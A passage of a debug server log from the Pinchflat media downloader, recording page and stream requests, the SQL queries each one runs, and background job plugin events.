"settings" AS s0 LIMIT 1 [] 07:20:37.380 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:20:37.381 [info] Sent 200 in 9ms 07:20:40.287 [info] {"source":"oban","duration":2274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:56.121 [info] GET /sources/30/media/141479/edit 07:20:56.121 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141479", "source_id" => "30"} Pipelines: [:browser] 07:20:56.122 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141479] 07:20:56.123 [debug] QUERY OK source="settings" db=0.3ms idle=1003.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:56.124 [debug] QUERY OK source="settings" db=0.5ms idle=1004.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:56.125 [debug] QUERY OK source="settings" db=0.3ms idle=199.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:56.127 [info] Sent 200 in 6ms 07:20:56.508 [info] GET /sources/31/media/139990/edit 07:20:56.508 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "139990", "source_id" => "31"} Pipelines: [:browser] 07:20:56.510 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=389.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139990] 07:20:56.511 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=388.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:56.512 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=388.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:56.513 [debug] QUERY OK source="settings" db=0.1ms idle=388.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:56.514 [info] Sent 200 in 6ms 07:20:56.965 [info] GET /sources/31/media/139557 07:20:56.965 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "139557", "source_id" => "31"} Pipelines: [:browser] 07:20:56.967 [debug] QUERY OK source="media_items" db=0.8ms idle=456.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139557] 07:20:56.969 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=456.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [139557] 07:20:56.969 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=455.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 07:20:56.970 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=456.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7142] 07:20:56.971 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=42.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:56.972 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:56.973 [debug] QUERY OK source="settings" db=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:56.974 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:20:56.975 [info] Sent 200 in 10ms 07:20:57.465 [info] GET /sources/31/media/139344/edit 07:20:57.465 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "139344", "source_id" => "31"} Pipelines: [:browser] 07:20:57.467 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=495.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139344] 07:20:57.468 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=496.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:57.469 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=496.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:57.470 [debug] QUERY OK source="settings" db=0.3ms idle=496.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:57.472 [info] Sent 200 in 6ms 07:20:57.966 [info] GET /sources/30/media/139303 07:20:57.966 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "139303", "source_id" => "30"} Pipelines: [:browser] 07:20:57.967 [debug] QUERY OK source="media_items" db=0.3ms idle=500.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139303] 07:20:57.968 [debug] QUERY OK source="tasks" db=0.2ms idle=499.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [139303] 07:20:57.968 [debug] QUERY OK source="sources" db=0.3ms idle=498.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 07:20:57.968 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=497.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7124] 07:20:57.969 [debug] QUERY OK source="settings" db=0.1ms idle=38.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:57.969 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:57.969 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:57.970 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:20:57.972 [info] Sent 200 in 5ms 07:20:58.467 [info] GET /sources/31/media/140859 07:20:58.468 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "140859", "source_id" => "31"} Pipelines: [:browser] 07:20:58.469 [debug] QUERY OK source="media_items" db=0.8ms idle=500.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140859] 07:20:58.471 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=501.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [140859] 07:20:58.471 [debug] QUERY OK source="sources" db=1.0ms idle=501.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 07:20:58.473 [debug] QUERY OK source="oban_jobs" db=0.8ms queue=0.1ms idle=502.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7229] 07:20:58.474 [debug] QUERY OK source="settings" db=0.0ms idle=503.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:58.474 [debug] QUERY OK source="settings" db=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:58.474 [debug] QUERY OK source="settings" db=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:58.475 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:20:58.477 [info] Sent 200 in 9ms 07:20:58.969 [info] GET /sources/30/media/140166 07:20:58.969 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "140166", "source_id" => "30"} Pipelines: [:browser] 07:20:58.970 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=495.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140166] 07:20:58.972 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=497.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [140166] 07:20:58.973 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=496.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 07:20:58.974 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=498.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7191] 07:20:58.975 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=43.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:58.975 [debug] QUERY OK source="settings" db=0.1ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:58.976 [debug] QUERY OK source="settings" db=0.1ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:20:58.977 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 07:20:58.978 [info] Sent 200 in 9ms 07:21:00.124 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:21:10.290 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:10.354 [info] GET /media/5cd17bbf-5554-4eec-8a88-bd417a2d88fb/stream 07:21:10.354 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "5cd17bbf-5554-4eec-8a88-bd417a2d88fb"} Pipelines: [:maybe_basic_auth] 07:21:10.355 [debug] QUERY OK source="media_items" db=0.6ms idle=234.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["5cd17bbf-5554-4eec-8a88-bd417a2d88fb"] 07:21:10.355 [debug] Invalid range request for media item: 5cd17bbf-5554-4eec-8a88-bd417a2d88fb - serving full file 07:21:10.356 [info] Sent 200 in 2ms 07:21:10.616 [info] GET /sources/31/media/141080/edit 07:21:10.616 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141080", "source_id" => "31"} Pipelines: [:browser] 07:21:10.618 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=497.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141080] 07:21:10.619 [debug] QUERY OK source="settings" db=0.6ms idle=499.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:10.620 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=500.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:10.621 [debug] QUERY OK source="settings" db=0.1ms idle=330.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:10.621 [info] Sent 200 in 5ms 07:21:11.114 [info] GET /sources/31/media/141520/edit 07:21:11.114 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141520", "source_id" => "31"} Pipelines: [:browser] 07:21:11.115 [debug] QUERY OK source="media_items" db=0.4ms idle=496.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 07:21:11.116 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=496.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:11.117 [debug] QUERY OK source="settings" db=0.6ms idle=496.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:11.119 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=497.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:21:11.120 [info] Sent 200 in 6ms 07:21:11.961 [info] GET 